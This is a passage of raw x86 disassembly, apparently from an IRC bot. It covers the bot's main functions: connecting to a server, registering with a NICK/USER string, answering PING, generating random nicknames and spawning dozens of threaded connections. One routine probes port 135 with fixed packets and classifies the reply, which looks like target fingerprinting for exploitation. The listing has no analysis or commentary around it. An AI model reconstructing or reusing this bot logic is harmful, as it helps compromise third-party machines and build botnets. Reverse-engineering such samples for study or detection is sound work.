arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA64
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417B25
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9E4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA24
		cmp	eax, esi
		jnz	short loc_417B0A
		push	[ebp+arg_0]
		call	dword_4CBA68
		test	eax, eax
		jz	short loc_417B25
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417B0A:				; CODE XREF: sub_417AA9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB98C
		cmp	eax, esi
		jnz	short loc_417B29
		push	edi
		call	dword_4CBA7C


loc_417B25:				; CODE XREF: sub_417AA9+1Bj
					; sub_417AA9+58j
		mov	eax, esi
		jmp	short loc_417B2B
; ---------------------------------------------------------------------------


loc_417B29:				; CODE XREF: sub_417AA9+73j
		mov	eax, edi


loc_417B2B:				; CODE XREF: sub_417AA9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B2F	proc near		; CODE XREF: sub_401ACD+324Cp
					; sub_401ACD+32B6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A088 ; "\n"
		push	edi
		call	sub_41C8A0
		pop	ecx
		mov	esi, offset dword_4D4A6C
		pop	ecx


loc_417B47:				; CODE XREF: sub_417B2F+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B65
		cmp	dword ptr [esi], 0
		jbe	short loc_417B65
		push	0
		push	edi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CBA34


loc_417B65:				; CODE XREF: sub_417B2F+1Cj
					; sub_417B2F+21j
		add	esi, 210h
		cmp	esi, offset dword_4DB18C
		jl	short loc_417B47
		pop	edi
		pop	esi
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B76	proc near		; CODE XREF: sub_417C61+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDC8 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41CAD4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B9B:				; CODE XREF: sub_417B76+35j
		push	esi
		push	0
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B9B
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417BC3
		cmp	esi, edi
		jnz	short loc_417BC3
		push	1
		pop	eax
		jmp	loc_417C5C
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417B76+3Fj
					; sub_417B76+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417BDE
		push	offset dword_439334
		jmp	short loc_417C2C
; ---------------------------------------------------------------------------


loc_417BDE:				; CODE XREF: sub_417B76+5Fj
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BFF
		push	esi
		push	offset dword_439330
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A


loc_417BFF:				; CODE XREF: sub_417B76+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E84
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_439324


loc_417C2C:				; CODE XREF: sub_417B76+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34


loc_417C5A:				; CODE XREF: sub_417B76+87j
		xor	eax, eax


loc_417C5C:				; CODE XREF: sub_417B76+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C61	proc near		; DATA XREF: sub_417E06+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4A74[esi]
		mov	dword_4D4A68[esi], edi
		push	dword_4D4C74[esi]
		push	eax
		call	sub_417AA9
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D4A6C[esi], eax
		jb	loc_417DE6
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E84
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D4A6C[esi]
		call	dword_4CBA34
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_417D3D:				; CODE XREF: sub_417C61+111j
					; sub_417C61+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D4A6C[esi]
		call	dword_4CB9FC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417DE6
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417D3D


loc_417D74:				; CODE XREF: sub_417C61+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D9B
		cmp	al, 0Ah
		jz	short loc_417D9B
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D9B
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------


loc_417D9B:				; CODE XREF: sub_417C61+11Cj
					; sub_417C61+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417DD5
		push	dword_4D4A6C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B76
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417DE6
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417DD5:				; CODE XREF: sub_417C61+138j
					; sub_417C61+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D74
		jmp	loc_417D3D
; ---------------------------------------------------------------------------


loc_417DE6:				; CODE XREF: sub_417C61+40j
					; sub_417C61+107j ...
		mov	dword_4D4A68[esi], ebx
		mov	esi, dword_4D4A6C[esi]
		cmp	esi, ebx
		jbe	short loc_417DFD
		push	esi
		call	dword_4CBA7C


loc_417DFD:				; CODE XREF: sub_417C61+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E06	proc near		; CODE XREF: sub_401ACD+319Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E7F


loc_417E18:				; CODE XREF: sub_417E06+77j
		xor	edi, edi
		mov	eax, offset dword_4D4A68


loc_417E1F:				; CODE XREF: sub_417E06+28j
		cmp	[eax], ebx
		jz	short loc_417E30
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DB188
		jl	short loc_417E1F


loc_417E30:				; CODE XREF: sub_417E06+1Bj
		cmp	edi, 31h
		jz	short loc_417E7F
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4A74[esi]
		push	eax
		call	sub_41C890
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4C74[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4A68[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C61
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417E18


loc_417E7F:				; CODE XREF: sub_417E06+10j
					; sub_417E06+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E84	proc near		; CODE XREF: sub_401ACD+36FDp
					; sub_401ACD+3747p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		call	sub_41C2C2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276D8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_417ECE
		call	sub_41C2C2
		call	sub_41C2C2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	dword ptr loc_438A6C+4[edx*4]
		jmp	short loc_417EE7
; ---------------------------------------------------------------------------


loc_417ECE:				; CODE XREF: sub_417E84+2Fj
		call	sub_41C2C2
		call	sub_41C2C2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438770[edx*4]


loc_417EE7:				; CODE XREF: sub_417E84+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C890
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41D174
		mov	ebx, eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F5A
		cmp	esi, 3
		jnz	short loc_417F51
		cmp	ebx, 1
		jz	short loc_417F5A


loc_417F51:				; CODE XREF: sub_417E84+C6j
		cmp	eax, 1
		jnz	loc_418014


loc_417F5A:				; CODE XREF: sub_417E84+C1j
					; sub_417E84+CBj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41D174
		push	dword ptr loc_438A6C+4[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C890
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C990
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418001
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418001
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_418001
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418001:				; CODE XREF: sub_417E84+111j
					; sub_417E84+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41CBC0
		add	esp, 0Ch


loc_418014:				; CODE XREF: sub_417E84+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B9C0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DEE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41827C
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418173
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418082
		cmp	eax, 1
		jnz	loc_418173


loc_418082:				; CODE XREF: sub_417E84+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4180C4
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_4180C4:				; CODE XREF: sub_417E84+207j
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_4180E0:				; CODE XREF: sub_417E84+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418109
		cmp	eax, ebx
		jnz	short loc_418173


loc_418109:				; CODE XREF: sub_417E84+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41814E
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41816C
; ---------------------------------------------------------------------------


loc_41814E:				; CODE XREF: sub_417E84+28Fj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41816C:				; CODE XREF: sub_417E84+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418173:				; CODE XREF: sub_417E84+1C9j
					; sub_417E84+1F8j ...
		cmp	esi, 6
		jge	loc_4181FC
		cmp	esi, 5
		jge	short loc_418194
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_417E84+2FBj
		call	sub_41C2C2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8


loc_4181B2:				; CODE XREF: sub_417E84+30Ej
		call	sub_41D174
		test	eax, eax
		jnz	short loc_4181D5
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181D5:				; CODE XREF: sub_417E84+335j
		cmp	eax, 1
		jnz	short loc_4181FC
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h


loc_4181F2:				; CODE XREF: sub_417E84+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181FC:				; CODE XREF: sub_417E84+2F2j
					; sub_417E84+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A0
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		cmp	[ebp+var_C], eax
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_427698
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41827C:				; CODE XREF: sub_417E84+1B1j
					; sub_417E84+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418295	proc near		; CODE XREF: sub_4182CD+125p
					; sub_4182CD+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_4182C3


loc_4182A6:				; CODE XREF: sub_418295+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4182C9
		inc	esi
		cmp	esi, edi
		jl	short loc_4182A6


loc_4182C3:				; CODE XREF: sub_418295+Fj
		xor	al, al


loc_4182C5:				; CODE XREF: sub_418295+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4182C9:				; CODE XREF: sub_418295+27j
		mov	al, 1
		jmp	short loc_4182C5
sub_418295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CD	proc near		; CODE XREF: ___:0040DFD7p
					; ___:0040E0C0p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C500
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41830E
		dec	eax
		jz	short loc_4182EC
		dec	eax


loc_4182E6:				; CODE XREF: sub_4182CD+57j
		xor	eax, eax


loc_4182E8:				; CODE XREF: sub_4182CD+3Fj
					; sub_4182CD+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_4182CD+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CBA24
		push	eax
		call	sub_40C34B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4182E8
; ---------------------------------------------------------------------------


loc_41830E:				; CODE XREF: sub_4182CD+13j
		push	6
		push	1
		push	2
		call	dword_4CBA64
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4182E6
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CB9E4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB98C
		cmp	eax, edi
		jz	loc_41842A
		push	ebx
		push	48h
		push	offset dword_43937C
		push	esi
		call	dword_4CBA34
		cmp	eax, edi
		jz	loc_41842A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9FC
		cmp	eax, edi
		jz	loc_41842A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_41842A
		push	ebx
		push	18h
		push	offset dword_4393C8
		push	[ebp+arg_4]
		call	dword_4CBA34
		cmp	eax, edi
		jz	short loc_41842A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9FC
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41842A
		cmp	[ebp+var_200E],	2
		jnz	short loc_41842A
		push	10h
		push	offset loc_4393E4
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		test	al, al
		jz	short loc_41840A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41842A
; ---------------------------------------------------------------------------


loc_41840A:				; CODE XREF: sub_4182CD+12Fj
		push	10h
		push	offset dword_4393F8
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_41842A:				; CODE XREF: sub_4182CD+9Bj
					; sub_4182CD+B2j ...
		push	[ebp+arg_4]
		call	dword_4CBA7C
		mov	eax, ebx
		pop	ebx
		jmp	loc_4182E8
sub_4182CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843B	proc near		; CODE XREF: sub_401ACD+BD0p
					; sub_401ACD+C0Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4184C6
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4184C6
		cmp	[ebp+arg_8], esi
		jz	short loc_4184C6
		cmp	byte ptr [eax],	0
		jz	short loc_4184C6
		push	ebx
		push	edi
		call	sub_426465
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4184C1
		push	[ebp+arg_4]
		push	edi
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4184BA
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BFD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B9C0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41CBC0
		push	[ebp+arg_4]
		call	sub_41B9C0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C8A0
		push	ebx
		push	edi
		call	sub_41C890
		add	esp, 30h
		mov	esi, edi


loc_4184BA:				; CODE XREF: sub_41843B+3Cj
		push	ebx
		call	sub_41BA91
		pop	ecx


loc_4184C1:				; CODE XREF: sub_41843B+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4184C8
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_41843B+Cj
					; sub_41843B+13j ...
		xor	eax, eax


loc_4184C8:				; CODE XREF: sub_41843B+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184CC	proc near		; CODE XREF: sub_401955+E9p
					; ___:00410CF1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BF70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B9C0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418502
		or	eax, 0FFFFFFFFh
		jmp	short loc_418575
; ---------------------------------------------------------------------------


loc_418502:				; CODE XREF: sub_4184CC+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418524


loc_41850E:				; CODE XREF: sub_4184CC+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41851B
		cmp	dl, 0Dh
		jnz	short loc_41851F


loc_41851B:				; CODE XREF: sub_4184CC+48j
		and	byte ptr [ecx+esi], 0


loc_41851F:				; CODE XREF: sub_4184CC+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41850E


loc_418524:				; CODE XREF: sub_4184CC+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418555
		lea	edi, [ebp+var_7CC]


loc_418531:				; CODE XREF: sub_4184CC+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418550
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418550
		cmp	ebx, 1F4h
		jge	short loc_418555
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418550:				; CODE XREF: sub_4184CC+69j
					; sub_4184CC+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418531


loc_418555:				; CODE XREF: sub_4184CC+5Dj
					; sub_4184CC+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418573
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41CD20
		add	esp, 0Ch


